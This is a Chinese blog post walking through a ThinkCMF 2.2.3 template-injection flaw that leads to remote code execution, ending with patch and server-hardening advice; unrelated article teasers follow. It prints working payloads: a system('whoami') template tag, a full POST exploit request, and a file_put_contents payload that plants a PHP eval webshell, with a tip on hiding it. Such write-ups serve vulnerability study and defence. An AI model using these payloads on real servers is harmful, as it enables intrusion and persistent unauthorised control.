news 2026/5/14 11:47:34

漏洞复现-ThinkCMF-模板注入到RCE:从fetch函数到webshell的实战剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
漏洞复现-ThinkCMF-模板注入到RCE:从fetch函数到webshell的实战剖析

1. ThinkCMF模板注入漏洞初探

ThinkCMF作为一款基于ThinkPHP开发的内容管理系统,曾经因为模板引擎的安全问题引发过严重漏洞。这个漏洞的核心在于模板解析过程中的变量处理不当,导致攻击者能够通过精心构造的输入实现远程代码执行。我第一次遇到这个漏洞是在一次内部渗透测试中,当时发现目标系统使用了ThinkCMF 2.2.3版本,于是决定深入挖掘这个漏洞的利用方式。

模板注入漏洞的本质是系统未能正确处理用户提供的模板内容。在ThinkCMF中,fetch和display函数负责渲染模板,但它们没有对输入进行充分过滤。这就好比把用户提供的食材直接放进锅里煮,却不检查食材是否安全。攻击者可以利用这个特性,在模板中插入恶意代码,最终控制整个系统。

2. 漏洞利用链的完整剖析

2.1 理解fetch函数的工作原理

fetch函数是ThinkPHP框架中用于渲染模板的核心方法。在正常情况下,它接收模板文件名作为参数,然后输出渲染后的HTML。但问题在于,ThinkCMF允许通过URL参数直接控制模板内容。这就为攻击者打开了一扇危险的大门。

我通过分析源代码发现,当使用类似?a=display&templateFile=xxx这样的URL参数时,系统会直接将templateFile参数的值作为模板文件路径。更糟糕的是,系统还允许通过content参数直接传递模板内容。这种设计相当于把系统的控制权部分交给了用户输入。

2.2 从模板注入到代码执行

要实现真正的远程代码执行,我们需要利用PHP的模板标签特性。ThinkCMF使用的是ThinkPHP自带的模板引擎,它支持在模板中使用PHP代码。通过构造特殊的模板内容,我们可以让系统执行任意PHP命令。

举个例子,我们可以提交这样的payload:

{php}system('whoami');{/php}

当这个内容被当作模板解析时,其中的PHP代码就会被执行。我在测试环境中验证过,使用这个技术可以轻松获取系统权限。更可怕的是,由于ThinkCMF通常运行在Web服务器权限下,这意味着攻击者可以访问服务器上的大部分文件。

3. 实战演练:从注入到webshell

3.1 构造恶意请求

在实际攻击中,我们通常会先探测目标系统是否使用了ThinkCMF,以及具体版本号。确认存在漏洞后,就可以开始构造恶意请求了。我常用的方法是先尝试简单的模板注入,确认漏洞存在后再进行更复杂的攻击。

一个典型的攻击请求可能长这样:

POST /index.php?a=display HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded templateFile=xxx&content={php}phpinfo();{/php}

如果服务器返回了phpinfo页面,就说明漏洞利用成功了。这时候,我们就可以尝试执行更危险的命令了。

3.2 写入webshell

获取代码执行权限后,下一步通常是在服务器上留下后门。我最常用的方法是直接写入一个PHP webshell。通过模板注入漏洞,我们可以使用file_put_contents函数在web目录下创建恶意文件。

例如,可以发送这样的payload:

{php}file_put_contents('shell.php','<?php eval($_REQUEST["cmd"]);?>');{/php}

这个操作会在网站根目录下创建一个名为shell.php的文件,攻击者之后就可以通过这个文件持续控制服务器。在实际渗透测试中,我通常会选择更隐蔽的路径和文件名,避免被管理员轻易发现。

4. 防御措施与修复建议

4.1 官方补丁分析

ThinkCMF官方后来发布了修复补丁,主要修改了模板解析逻辑。新版本中,系统会严格检查templateFile参数的合法性,禁止使用绝对路径和特殊字符。同时,content参数的处理也更加严格,不再允许直接执行PHP代码。

我建议所有使用ThinkCMF的用户立即升级到最新版本。如果因为某些原因无法升级,至少应该修改核心代码,禁止通过URL参数控制模板内容。具体来说,可以注释掉或重写display和fetch方法中的危险逻辑。

4.2 服务器层面的防护

除了修复应用本身的漏洞,服务器配置也很重要。我通常会建议采取以下措施:

  • 将Web服务器运行在低权限用户下
  • 禁用危险的PHP函数,如system、exec、shell_exec等
  • 配置open_basedir限制PHP可访问的目录范围
  • 定期检查web目录下的可疑文件

这些措施虽然不能完全防止漏洞被利用,但可以大大降低攻击造成的危害。在我的实际工作中,经常看到因为服务器配置不当而导致的小漏洞变成大灾难的案例。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/14 11:46:47

电商 API 性能压测:JMeter 脚本编写与瓶颈分析实战

一、前言在电商业务架构中&#xff0c;商品查询、订单创建、库存扣减、支付回调、1688 代采、京东 OMS 同步等核心 API&#xff0c;是支撑高并发秒杀、大促峰值、多平台数据同步的关键底座。一旦 API 出现响应超时、吞吐量不足、并发阻塞、接口雪崩&#xff0c;直接会导致下单失…

作者头像 李华
网站建设 2026/5/14 11:46:05

ChatGPT-Pro:企业级AI应用开发框架的架构解析与实践指南

1. 项目概述与核心价值最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“EyuCoder/chatgpt-pro”。光看名字&#xff0c;你可能会觉得这又是一个基于ChatGPT API的简单封装或者UI美化工具&#xff0c;市面上这类项目已经多如牛毛了。但当我真正点进去&#xff0c;花时间研…

作者头像 李华
网站建设 2026/5/14 11:42:05

开源IM机器人技能框架openclaw-skill-imsg架构解析与实战

1. 项目概述&#xff1a;一个面向即时通讯消息的自动化技能框架最近在折腾一个挺有意思的开源项目&#xff0c;叫openclaw-skill-imsg。光看这个名字&#xff0c;可能有点摸不着头脑&#xff0c;我来拆解一下。openclaw听起来像是一个开源&#xff08;open&#xff09;的“爪子…

作者头像 李华
网站建设 2026/5/14 11:41:05

终极英雄联盟游戏助手:5分钟掌握League Akari的智能游戏体验

终极英雄联盟游戏助手&#xff1a;5分钟掌握League Akari的智能游戏体验 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power &#x1f680;. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 想要在英雄联盟中拥有…

作者头像 李华
网站建设 2026/5/14 11:35:21

蒸发冷却中央空调系统安装:从节能降温到系统稳定的完整解析

一、什么是蒸发冷却中央空调系统安装&#xff1f;蒸发冷却中央空调系统安装&#xff0c;是指在工业厂房、物流仓库、商业建筑、办公空间、公共建筑、数据辅助机房、生产车间以及部分对节能降温有明确需求的场景中&#xff0c;通过蒸发冷却机组、送排风系统、水循环系统、过滤系…

作者头像 李华